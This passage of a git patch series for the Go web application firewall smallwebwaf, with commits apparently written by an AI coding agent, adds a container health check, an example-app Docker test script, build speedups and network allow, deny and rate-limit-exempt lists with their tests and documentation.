of what it writes to stderr, +// which is nothing when message is empty. +func wantHealthCheck(t *testing.T, env map[string]string, status int, message string) { + t.Helper() + + var stderr bytes.Buffer + + got := smallwebwaf.HealthCheck(t.Context(), nil, func(name string) (string, bool) { + value, ok := env[name] + + return value, ok + }, &stderr) + + wrote := stderr.String() + if got != status || !strings.HasPrefix(wrote, message) || + (message == "" && wrote != "") { + t.Errorf("health check returned %d and wrote %q, want %d and %q", + got, wrote, status, message) + } +} diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index 97e1047..c3fec11 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -37,8 +37,13 @@ type Params struct { } // Main runs smallwebwaf until SIGTERM or SIGINT, and returns the -// process's exit status. +// process's exit status. Run as `smallwebwaf healthcheck`, it is the +// container's health check instead. func Main(version string) int { + if len(os.Args) > 1 && os.Args[1] == "healthcheck" { + return HealthCheck(context.Background(), os.Args[2:], os.LookupEnv, os.Stderr) + } + ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGTERM, os.Interrupt) defer stop() diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index b65fedf..a38505b 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -24,8 +24,9 @@ const ( // testVersion is the version the tests give smallwebwaf. testVersion = "test" // localhost is where the tests listen. - localhost = "127.0.0.1" - listenAddr = "SWWAF_LISTEN_ADDR" + localhost = "127.0.0.1" + listenAddr = "SWWAF_LISTEN_ADDR" + upstreamURL = "SWWAF_UPSTREAM_URL" ) // output collects what smallwebwaf writes on stdout. @@ -143,8 +144,8 @@ func TestServesUntilToldToStop(t *testing.T) { go func() { exited <- run(ctx, map[string]string{ - listenAddr: localhost + ":0", - "SWWAF_UPSTREAM_URL": app.URL, + listenAddr: localhost + ":0", + upstreamURL: app.URL, }, out) }() @@ -177,7 +178,7 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL string) { settings, _ := line["settings"].(map[string]any) want := map[string]any{ listenAddr: localhost + ":0", - "SWWAF_UPSTREAM_URL": appURL, + upstreamURL: appURL, "SWWAF_TRUSTED_PROXIES": "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", "SWWAF_CLIENT_REQUEST_TIMEOUT": "60s", "SWWAF_CLIENT_RESPONSE_TIMEOUT": "30m", diff --git a/script/bootstrap b/script/bootstrap index d0e97bc..967bf12 100755 --- a/script/bootstrap +++ b/script/bootstrap @@ -131,6 +131,7 @@ main() { if missing make; then pkg_install gnumake make make make; fi if missing git; then pkg_install git git git git; fi + if missing curl; then pkg_install curl curl curl curl; fi if missing gofmt; then pkg_install go golang go go; fi ensure_node diff --git a/script/example-app b/script/example-app new file mode 100755 index 0000000..63afabb --- /dev/null +++ b/script/example-app @@ -0,0 +1,88 @@ +#!/bin/sh +# script/example-app: build the image, and on it the example app in +# deploy/example-app, then run the app's container and check that the +# health check passes, that a request is served through smallwebwaf, +# that `sv stop` stops smallwebwaf in order, and that `docker stop` +# stops the container without having to kill it. The container and both +# images are removed however the script ends. Building the app needs +# network access, for nixpkgs' binary cache. script/check does not run +# this. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)" + +# Named after this run, so that runs in other clones on the same host +# never touch each other's. +NAME="$("$SCRIPT_DIR/projectname")-example-$$" +IMAGE="$NAME-base" +APP_IMAGE="$NAME-app" +CONTAINER="$NAME" + +cleanup() { + docker rm --force "$CONTAINER" >/dev/null 2>&1 || true + docker rmi --force "$APP_IMAGE" "$IMAGE" >/dev/null 2>&1 || true +} + +fail() { + echo "example-app: $*; the container's output:" >&2 + docker logs "$CONTAINER" >&2 || true + exit 1 +} + +# wait_for ...: run the command every second until +# it succeeds, for at most a minute. +wait_for() { + failure="$1" + shift + tries=0 + until "$@"; do + tries=$((tries + 1)) + [ "$tries" -lt 60 ] || fail "$failure" + sleep 1 + done +} + +healthy() { + status="$(docker inspect --format '{{.State.Health.Status}}' "$CONTAINER")" + [ "$status" = healthy ] +} + +# logged : the container's output holds text. +logged() { + docker logs "$CONTAINER" 2>&1 | grep -qF "$1" +} + +main() { + cd "$ROOT" + trap cleanup EXIT + trap 'exit 1' HUP INT TERM + + docker build --no-cache -t "$IMAGE" . + docker build --no-cache --build-arg SMALLWEBWAF_IMAGE="$IMAGE" \ + -t "$APP_IMAGE" deploy/example-app + + docker run --detach --name "$CONTAINER" --publish 127.0.0.1::8080 \ + "$APP_IMAGE" >/dev/null + wait_for "the health check did not pass" healthy + echo "example-app: the health check passes" + + address="$(docker port "$CONTAINER" 8080/tcp)" + page="$(curl --fail --silent --show-error --max-time 10 "http://$address/")" || + fail "no answer on port 8080" + [ "$page" = "hello from the example app" ] || fail "port 8080 answered $page" + wait_for "smallwebwaf logged no request it forwarded" logged '"action":"forward"' + echo "example-app: smallwebwaf passes a request to the app and its answer back" + + docker exec "$CONTAINER" sv stop smallwebwaf >/dev/null || + fail "sv stop smallwebwaf failed" + wait_for "smallwebwaf did not stop in order" logged '"msg":"stopped"' + echo "example-app: sv stop stops smallwebwaf in order" + + docker stop "$CONTAINER" >/dev/null + status="$(docker inspect --format '{{.State.ExitCode}}' "$CONTAINER")" + [ "$status" = 0 ] || fail "docker stop left exit status $status" + echo "example-app: docker stop stops the container in order" +} + +main "$@" diff --git a/share/smallwebwaf.run b/share/smallwebwaf.run new file mode 100755 index 0000000..ba912de --- /dev/null +++ b/share/smallwebwaf.run @@ -0,0 +1,12 @@ +#!/usr/bin/env bash +set -euo pipefail + +# runit's run script for smallwebwaf, run again whenever smallwebwaf +# exits; the wait spaces out the restarts. exec, so that the signal +# `sv stop` sends reaches smallwebwaf itself. +main() { + sleep 1 + exec chpst -u smallwebwaf:smallwebwaf /usr/local/bin/smallwebwaf +} + +main "$@" From e7fb88af9e5013a1119f066dc5f893b0bdf194fa Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 11:13:32 +0200 Subject: [PATCH 12/64] Spend less of make test writing the image and waiting (closes #56) The test phase spends most of its time compiling with the race detector from an empty build cache; then come writing the test image and the internal/proxy tests. - Go's build cache is on a tmpfs in the test phase, so its 137 MB are no longer written into the test image. - TestUpgradedConnectionOutlastsTheTimeouts waits until just past shortTimeout after the answer to the upgrade was read, by when every timeout has started, rather than 7.5 s, so it ends with the other timing tests. - shortTimeout is written as waitLimit / 2, as its comment says it is. Model: opus-5-5 --- Dockerfile | 5 ++++- internal/proxy/passthrough_test.go | 8 +++++--- internal/proxy/proxy_test.go | 6 +++--- 3 files changed, 12 insertions(+), 7 deletions(-) diff --git a/Dockerfile b/Dockerfile index 30aace9..79d3ef4 100644 --- a/Dockerfile +++ b/Dockerfile @@ -29,7 +29,10 @@ RUN go mod download COPY . . -RUN go test -count=1 -timeout 90s -race -cover ./... || \ +# Go's build cache is kept on a tmpfs, out of the image: nothing uses it +# after this step, and writing it into the image takes seconds. +RUN --mount=type=tmpfs,target=/root/.cache/go-build \ + go test -count=1 -timeout 90s -race -cover ./... || \ { echo "--- Rerunning with -v for details ---"; \ go test -count=1 -timeout 90s -race -v ./...; exit 1; } diff --git a/internal/proxy/passthrough_test.go b/internal/proxy/passthrough_test.go index 8f644bb..c278a60 100644 --- a/internal/proxy/passthrough_test.go +++ b/internal/proxy/passthrough_test.go @@ -240,15 +240,17 @@ func TestUpgradedConnectionOutlastsTheTimeouts(t *testing.T) { t.Fatalf("read the answer to the upgrade: %v", err) } + answered := time.Now() _ = res.Body.Close() if res.StatusCode != http.StatusSwitchingProtocols { t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols) } - // Every timeout started before the upgrade was answered: wait past - // them all, then use the connection. - time.Sleep(3 * shortTimeout / 2) + // Every timeout started before the upgrade was answered, the response + // timeouts last, at the end of the request: wait until just past + // shortTimeout after the answer was read, then use the connection. + time.Sleep(time.Until(answered.Add(shortTimeout + 100*time.Millisecond))) send(t, conn, "still here\n") echoed, err := reader.ReadString('\n') diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 0e7dea7..24b33f4 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -23,9 +23,9 @@ const ( // shortTimeout is what a test sets a timeout to, to see it run out. // It starts before the test has set up its case, such as an upgrade // or the app's buffers filling, so it is as long as the hold-up of the - // test process that wantTimedOut allows, waitLimit/2: a shorter one - // can run out first on a busy host. - shortTimeout = 5 * time.Second + // test process that wantTimedOut allows: a shorter one can run out + // first on a busy host. + shortTimeout = waitLimit / 2 // shortTimeoutSetting is shortTimeout as a setting's value. shortTimeoutSetting = "5s" // longTimeoutSetting is a timeout that does not run out in a test. From 8410cf05e6c0e50524548438aa357447db3b8219 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 11:38:14 +0200 Subject: [PATCH 13/64] Quiet the useradd and Perl warnings in the image build (closes #58) useradd --system warns when the uid it is given is above SYS_UID_MAX, 999 on Ubuntu; --key raises that limit for this one call, so the uid stays 65532. minsysusers, which runit's install runs to create its _runit-log user, prints a Perl warning because runit's sysusers line leaves out the shell. It reads /etc/sysusers.d/runit.conf in place of runit's file, so the image writes a copy of that line there, naming the shell minsysusers gives anyway; the user it creates is unchanged. The runsvinit warning stays, since it needs a change to runsvinit: its reaper and its own wait on runsvdir race for the same exited process. Model: opus-5-5 --- Dockerfile | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 79d3ef4..a4a4632 100644 --- a/Dockerfile +++ b/Dockerfile @@ -82,6 +82,15 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \ # ubuntu 26.04, 2026-09-27 FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7 +# runit's install creates its _runit-log user with minsysusers, which +# reads this file in place of runit's /usr/lib/sysusers.d/runit.conf. +# runit's line leaves out the shell, and minsysusers prints a Perl +# warning for that; this copy of it names /sbin/nologin, the shell +# minsysusers gives when none is named. +RUN mkdir /etc/sysusers.d \ + && echo 'u _runit-log - "runit svlogd user" /nonexistent /sbin/nologin' \ + > /etc/sysusers.d/runit.conf + # ca-certificates, nix-bin and runit, from Ubuntu's archive as it was at # the snapshot moment, which is never earlier than the Ubuntu image above. # apt checks every package against the snapshot's InRelease files, and @@ -133,9 +142,12 @@ ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf +# 65532 is above the uids Ubuntu keeps for system users, which end at +# 999; useradd warns about it unless --key raises that end for this call. RUN groupadd --system --gid 65532 smallwebwaf \ - && useradd --system --uid 65532 --gid smallwebwaf --no-create-home \ - --shell /usr/sbin/nologin smallwebwaf + && useradd --system --key SYS_UID_MAX=65532 --uid 65532 \ + --gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \ + smallwebwaf # runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv # looks too. From df4cf769e066d180c84fd06b4fd362467addfbcb Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 11:50:08 +0200 Subject: [PATCH 14/64] Derive the proxy tests' short timeout setting from the timeout (closes #61) shortTimeoutSetting is now shortTimeout.String(), so changing waitLimit changes both together. Model: opus-5-5 --- internal/proxy/proxy_test.go | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 24b33f4..4b69beb 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -26,8 +26,6 @@ const ( // test process that wantTimedOut allows: a shorter one can run out // first on a busy host. shortTimeout = waitLimit / 2 - // shortTimeoutSetting is shortTimeout as a setting's value. - shortTimeoutSetting = "5s" // longTimeoutSetting is a timeout that does not run out in a test. longTimeoutSetting = "1m" // waitLimit bounds how long a test waits for what should happen. @@ -39,6 +37,11 @@ const ( localhost = "127.0.0.1" ) +// shortTimeoutSetting is shortTimeout as a setting's value. +// +//nolint:gochecknoglobals // a constant cannot call String +var shortTimeoutSetting = shortTimeout.String() + // The settings the tests set. const ( clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT" From 7f6f89cd83df50c6a0c278f9ea2914ea9c2eb15c Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 02:36:27 +0200 Subject: [PATCH 15/64] Network lists: always allowed, exempt from rate limits, always refused (closes #19) Adds SWWAF_ALLOW_NETS, SWWAF_RATE_LIMIT_EXEMPT_NETS and SWWAF_DENY_NETS, read like SWWAF_TRUSTED_PROXIES and empty by default, and checked against the client's own address before its country is looked up. A client in SWWAF_ALLOW_NETS skips the country lists and the rate limits and is not looked up. One in SWWAF_DENY_NETS is refused with 403, logged as denied and not counted. One in SWWAF_RATE_LIMIT_EXEMPT_NETS is neither counted nor refused by the rate limits. SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES now refuses a private, loopback or link-local client unless SWWAF_ALLOW_NETS lists it. Judgement call: an address in both SWWAF_ALLOW_NETS and SWWAF_DENY_NETS is let through. Judgement call: the size and time limits still apply to SWWAF_ALLOW_NETS. Model: opus-5-5 --- README.md | 89 ++++++----- internal/config/config.go | 11 ++ internal/config/config_test.go | 18 +++ internal/proxy/countries.go | 12 +- internal/proxy/countries_test.go | 43 +++++- internal/proxy/proxy_test.go | 3 + internal/proxy/request.go | 39 +++-- internal/proxy/staticlists_test.go | 184 +++++++++++++++++++++++ internal/requestlog/requestlog.go | 3 + internal/smallwebwaf/smallwebwaf_test.go | 3 + 10 files changed, 350 insertions(+), 55 deletions(-) create mode 100644 internal/proxy/staticlists_test.go diff --git a/README.md b/README.md index db5160b..784ca2f 100644 --- a/README.md +++ b/README.md @@ -13,14 +13,15 @@ JSON log line for every request. Status: the first two milestones are built (https://git.eeqj.de/sneak/smallwebwaf/issues/13 and -https://git.eeqj.de/sneak/smallwebwaf/issues/14). `smallwebwaf` passes each -request to the app and the app's answer back, unchanged, within its timeouts and -size limits, works out each client's address, refuses a client that sends too -many requests or comes from a country you refuse, and writes a JSON log line for -every request. It comes as the image the app's own image is built on. The rest -of the design comes after that, in the order of the build order in -[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in -[`EVALUATION.md`](EVALUATION.md). +https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are the static lists, +which come next in the build order. `smallwebwaf` passes each request to the app +and the app's answer back, unchanged, within its timeouts and size limits, works +out each client's address, refuses a client that sends too many requests, comes +from a country you refuse or from a network you refuse, lets the networks you +choose through, and writes a JSON log line for every request. It comes as the +image the app's own image is built on. The rest of the design comes after that, +in the order of the build order in [`SPEC.md`](SPEC.md). The survey of existing +tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -82,8 +83,17 @@ and `make run` builds and runs it, listening on port 8080 in front of an app at counted for the rate limits. While one of the country lists below is set, each client's country is looked up through GeoJS (see "Country and AS number lookup" below); with neither set, no visitor's address leaves the host. A - client on a private, loopback or link-local address has no country, and - neither list checks it. + client on a private, loopback or link-local address has no country and is + never looked up: `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless it is + in `SWWAF_ALLOW_NETS`, and `SWWAF_DENIED_COUNTRIES` does not refuse it. +- Checks the client's own address against the static lists, the three netblock + settings below, before anything else, its country included. A client in + `SWWAF_ALLOW_NETS` skips the country lists and the rate limits, and is not + looked up; the timeouts and size limits still apply. A client in + `SWWAF_DENY_NETS` is refused with `403` before its body is read, and the + request is not counted for the rate limits; an address in `SWWAF_ALLOW_NETS` + too is let through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither + counted nor refused by the rate limits; the country lists still apply to it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Writes a line in the request log for each request (see "Request log" below). @@ -111,6 +121,11 @@ it, and the effective settings are logged at start. to send its whole answer, from the end of the request to the last byte. - `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. +- `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip the country + lists and the rate limits, such as your monitoring or your own networks. +- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the + rate limits do not apply to, such as a machine that talks to the app all day. +- `SWWAF_DENY_NETS` (default empty): netblocks whose clients are always refused. - `SWWAF_RATE_LIMIT_PER_MINUTE` (default `1000`), `SWWAF_RATE_LIMIT_PER_HOUR` (default `10000`) and `SWWAF_RATE_LIMIT_PER_DAY` (default `50000`): the most requests a client may make in a minute, an hour and a day. The defaults are @@ -153,18 +168,19 @@ refused ones included: - `time` is when the request arrived, in UTC. `peer_ip` is the TCP peer, normally traefik. `path` and `query` are as the client sent them. - `country` is the client's country as GeoJS places it, and empty when it is not - known: with neither country list set, for a client on a private, loopback or - link-local address, and when GeoJS cannot place the client or has not answered - in time. + known: with neither country list set, for a client in `SWWAF_ALLOW_NETS` or + `SWWAF_DENY_NETS`, for a client on a private, loopback or link-local address, + and when GeoJS cannot place the client or has not answered in time. - `status` is what the client was sent, `0` if nothing was; `upstream_status` is what the app answered, and is left out when the app did not answer. - `request_bytes` and `response_bytes` count body bytes. -- `action` is `forward` for a request passed to the app, `country_denied` for - one refused for its client's country, `rate_limited` for one refused for a - rate limit, `too_large` for a request or response over its size limit, - `timed_out` for one that ran out of time, `upstream_error` when the app could - not be reached or its answer broke off, and `admin` for one `smallwebwaf` - answered at its own endpoint. +- `action` is `forward` for a request passed to the app, `denied` for one + refused because its client is in `SWWAF_DENY_NETS`, `country_denied` for one + refused for its client's country, `rate_limited` for one refused for a rate + limit, `too_large` for a request or response over its size limit, `timed_out` + for one that ran out of time, `upstream_error` when the app could not be + reached or its answer broke off, and `admin` for one `smallwebwaf` answered at + its own endpoint. - `limit_hit` is there for a request refused for a rate limit, and names the window whose limit it went over: `minute`, `hour` or `day`, the shortest if it went over several. @@ -402,16 +418,17 @@ the metrics, failure behaviour and the build order. So far `smallwebwaf` looks up only the country, only through GeoJS, and only while `SWWAF_DENIED_COUNTRIES` or `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set: -then the address of every new visitor is sent to GeoJS, and with neither set, -none is. An IPv6 visitor is asked about by the first address of its /64. A new -visitor waits at most a second for its answer, and without one counts as coming -from an unknown country until the answer arrives. The addresses waiting are -asked about together, up to 200 in one request, one request at a time; at most -10,000 visitors wait, and one more counts as coming from an unknown country -until there is room. While GeoJS fails, visitors with a kept answer are -unaffected and new ones count as coming from an unknown country. GeoJS is then -left alone for a second, twice as long after each further failure up to five -minutes, and asked again by the next request that needs it. +then the address of every new visitor outside `SWWAF_ALLOW_NETS` and +`SWWAF_DENY_NETS` is sent to GeoJS, and with neither set, none is. An IPv6 +visitor is asked about by the first address of its /64. A new visitor waits at +most a second for its answer, and without one counts as coming from an unknown +country until the answer arrives. The addresses waiting are asked about +together, up to 200 in one request, one request at a time; at most 10,000 +visitors wait, and one more counts as coming from an unknown country until there +is room. While GeoJS fails, visitors with a kept answer are unaffected and new +ones count as coming from an unknown country. GeoJS is then left alone for a +second, twice as long after each further failure up to five minutes, and asked +again by the next request that needs it. In the full design, `smallwebwaf` looks up the AS number and country of every client, for the request log, the metrics and the ban notes, and for the country @@ -447,9 +464,8 @@ data is powered by IPinfo". A service that uses the database through Neither source can place a private address, so a client on one, such as a visitor on your local network, another container or your monitoring, has no country: `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless you list it in -`SWWAF_ALLOW_NETS`. Such addresses are never sent to GeoJS. In milestone 2, -which has no `SWWAF_ALLOW_NETS`, neither country list checks such a client; the -refusal comes with `SWWAF_ALLOW_NETS` in milestone 3 or later. +`SWWAF_ALLOW_NETS`, and `SWWAF_DENIED_COUNTRIES` does not refuse it. Such +addresses are never sent to GeoJS. ## How the code is laid out @@ -462,8 +478,9 @@ refusal comes with `SWWAF_ALLOW_NETS` in milestone 3 or later. the checks, passes the request to the app and the answer back with the standard library's `httputil.ReverseProxy` within the timeouts and size limits, and writes the request's log line. Its `check` method is where a - request is refused before anything reaches the app: for the country lists, for - a rate limit, and for an announced body over the size limit. + request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for + the country lists, for a rate limit, and for an announced body over the size + limit. - `internal/lookup`: looks up each client's country through GeoJS, and keeps the answers. - `internal/ratelimit`: counts each client's requests and tells when one takes @@ -518,8 +535,8 @@ so that they run in minimal containers. ## TODO -- Milestone 3 and the rest of the design, in the order of the build order in - [`SPEC.md`](SPEC.md). +- The rest of milestone 3, after the static lists, and the rest of the design, + in the order of the build order in [`SPEC.md`](SPEC.md). ## Documents diff --git a/internal/config/config.go b/internal/config/config.go index 2dda27e..b24c695 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -45,6 +45,14 @@ type Config struct { // ResponseMaxBytes is the largest response body // (SWWAF_RESPONSE_MAX_BYTES). ResponseMaxBytes int64 + // AllowNets are the netblocks whose clients skip every check + // (SWWAF_ALLOW_NETS). RateLimitExemptNets are those whose clients the + // rate limits neither count nor refuse (SWWAF_RATE_LIMIT_EXEMPT_NETS). + // DenyNets are those whose clients are always refused + // (SWWAF_DENY_NETS). + AllowNets []netip.Prefix + RateLimitExemptNets []netip.Prefix + DenyNets []netip.Prefix // RateLimitPerMinute, RateLimitPerHour and RateLimitPerDay are the // most requests a client may make in a minute, an hour and a day // (SWWAF_RATE_LIMIT_PER_MINUTE, SWWAF_RATE_LIMIT_PER_HOUR and @@ -112,6 +120,9 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { UpstreamResponseTimeout: env.duration("SWWAF_UPSTREAM_RESPONSE_TIMEOUT", "30m"), RequestMaxBytes: env.size("SWWAF_REQUEST_MAX_BYTES", "100M"), ResponseMaxBytes: env.size("SWWAF_RESPONSE_MAX_BYTES", "5G"), + AllowNets: env.netblocks("SWWAF_ALLOW_NETS", ""), + RateLimitExemptNets: env.netblocks("SWWAF_RATE_LIMIT_EXEMPT_NETS", ""), + DenyNets: env.netblocks("SWWAF_DENY_NETS", ""), RateLimitPerMinute: env.count("SWWAF_RATE_LIMIT_PER_MINUTE", "1000"), RateLimitPerHour: env.count("SWWAF_RATE_LIMIT_PER_HOUR", "10000"), RateLimitPerDay: env.count("SWWAF_RATE_LIMIT_PER_DAY", "50000"), diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 2d129e3..18ba065 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -25,6 +25,9 @@ const ( upstreamResponseTimeout = "SWWAF_UPSTREAM_RESPONSE_TIMEOUT" requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES" responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES" + allowNets = "SWWAF_ALLOW_NETS" + rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS" + denyNets = "SWWAF_DENY_NETS" rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" rateLimitPerHour = "SWWAF_RATE_LIMIT_PER_HOUR" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" @@ -81,6 +84,9 @@ func TestDefaults(t *testing.T) { wantNetblocks(t, cfg.TrustedProxies, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") + wantNetblocks(t, cfg.AllowNets) + wantNetblocks(t, cfg.RateLimitExemptNets) + wantNetblocks(t, cfg.DenyNets) wantCountries(t, deniedCountries, cfg.DeniedCountries) wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries) } @@ -98,6 +104,9 @@ func TestValuesAsSet(t *testing.T) { upstreamResponseTimeout: off, requestMaxBytes: "512K", responseMaxBytes: "1234", + allowNets: "192.0.2.7", + rateLimitExemptNets: "2001:db8::/48, 10.9.8.7", + denyNets: "198.51.100.0/24", rateLimitPerMinute: "60", rateLimitPerHour: "600", rateLimitPerDay: "6000", @@ -123,6 +132,9 @@ func TestValuesAsSet(t *testing.T) { } wantNetblocks(t, cfg.TrustedProxies, "192.0.2.1/32", "10.0.0.0/8", "2001:db8::/32") + wantNetblocks(t, cfg.AllowNets, "192.0.2.7/32") + wantNetblocks(t, cfg.RateLimitExemptNets, "2001:db8::/48", "10.9.8.7/32") + wantNetblocks(t, cfg.DenyNets, "198.51.100.0/24") wantCountries(t, deniedCountries, cfg.DeniedCountries, "CN", "RU", "KP", "XK") wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") } @@ -205,6 +217,9 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {trustedProxies, "traefik"}, {trustedProxies, "10.0.0.0/8,,192.168.0.0/16"}, {trustedProxies, "fe80::1%eth0"}, + {allowNets, "192.0.2.0/24,monitoring"}, + {rateLimitExemptNets, "2001:db8::/129"}, + {denyNets, "198.51.100.0/24,"}, {clientRequestTimeout, "60"}, {clientRequestTimeout, ""}, {clientResponseTimeout, "1y"}, @@ -279,6 +294,9 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { upstreamResponseTimeout: "30m", requestMaxBytes: "100M", responseMaxBytes: "5G", + allowNets: "", + rateLimitExemptNets: "", + denyNets: "", rateLimitPerMinute: "1000", rateLimitPerHour: "10000", rateLimitPerDay: "50000", diff --git a/internal/proxy/countries.go b/internal/proxy/countries.go index 1ab04d3..2b6ccab 100644 --- a/internal/proxy/countries.go +++ b/internal/proxy/countries.go @@ -9,9 +9,9 @@ import ( // countryDenied reports whether the country lists refuse the request. // The client's country is looked up only while a list is set, and never // for a client on a private, loopback or link-local address, which has -// no country and which neither list checks. A client whose country -// cannot be found is refused only by SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES. -// ctx is the request's own context. +// no country. A client without a country, or whose country cannot be +// found, is refused only by SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES. ctx is +// the request's own context. func (rq *request) countryDenied(ctx context.Context) bool { denied := rq.h.config.DeniedCountries allowed := rq.h.config.ExclusivelyAllowedCountries @@ -20,11 +20,11 @@ func (rq *request) countryDenied(ctx context.Context) bool { return false } - if !hasCountry(rq.client) { - return false + var country string + if hasCountry(rq.client) { + country = rq.h.geojs.Country(ctx, clientGroup(rq.client)) } - country := rq.h.geojs.Country(ctx, clientGroup(rq.client)) rq.line.Country = country if slices.Contains(denied, country) { diff --git a/internal/proxy/countries_test.go b/internal/proxy/countries_test.go index b5b999d..9afeb37 100644 --- a/internal/proxy/countries_test.go +++ b/internal/proxy/countries_test.go @@ -185,7 +185,7 @@ func TestCountryNotLookedUpWithoutAListOrForAPrivateAddress(t *testing.T) { {"no country list is set", nil, []string{fromKP, fromDE}}, { "private, loopback and link-local addresses", - map[string]string{allowedCountries: "de"}, + map[string]string{deniedCountries: "kp"}, []string{"10.0.0.5", "192.168.1.9", "fd00::5", "", "169.254.0.9", "fe80::9"}, }, } { @@ -223,6 +223,47 @@ func TestCountryNotLookedUpWithoutAListOrForAPrivateAddress(t *testing.T) { } } +func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + allowNets string + status int + action string + }{ + { + "not in SWWAF_ALLOW_NETS", "", + http.StatusForbidden, requestlog.ActionCountryDenied, + }, + { + "in SWWAF_ALLOW_NETS", "10.0.0.7,fd00::/8", + http.StatusOK, requestlog.ActionForward, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + geojsURL, asked := startGeoJS(t) + addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ + trustedProxies: trustLocalhost, + allowedCountries: "de", + allowNets: tc.allowNets, + }) + + wantAnswers(t, addr, out, []sentRequest{ + {"10.0.0.7", tc.status, tc.action}, + {"fd00::5", tc.status, tc.action}, + }) + + if len(asked()) != 0 { + t.Errorf("GeoJS was asked about %v, want nothing", asked()) + } + }) + } +} + // startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP // and no other address. It returns its URL, and what returns the // addresses it has been asked about. diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 4b69beb..ee73f05 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -51,6 +51,9 @@ const ( requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES" responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES" trustedProxies = "SWWAF_TRUSTED_PROXIES" + allowNets = "SWWAF_ALLOW_NETS" + rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS" + denyNets = "SWWAF_DENY_NETS" rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" deniedCountries = "SWWAF_DENIED_COUNTRIES" allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 185e0b1..01f5333 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -103,29 +103,44 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { // check is the one place where a request can be refused once its client // is known, before its body is read or anything reaches the app. It -// returns nil to let the request through. The country lists come first, -// and a request they refuse is not counted for the rate limits; then the -// rate limits, so that every other request is counted, 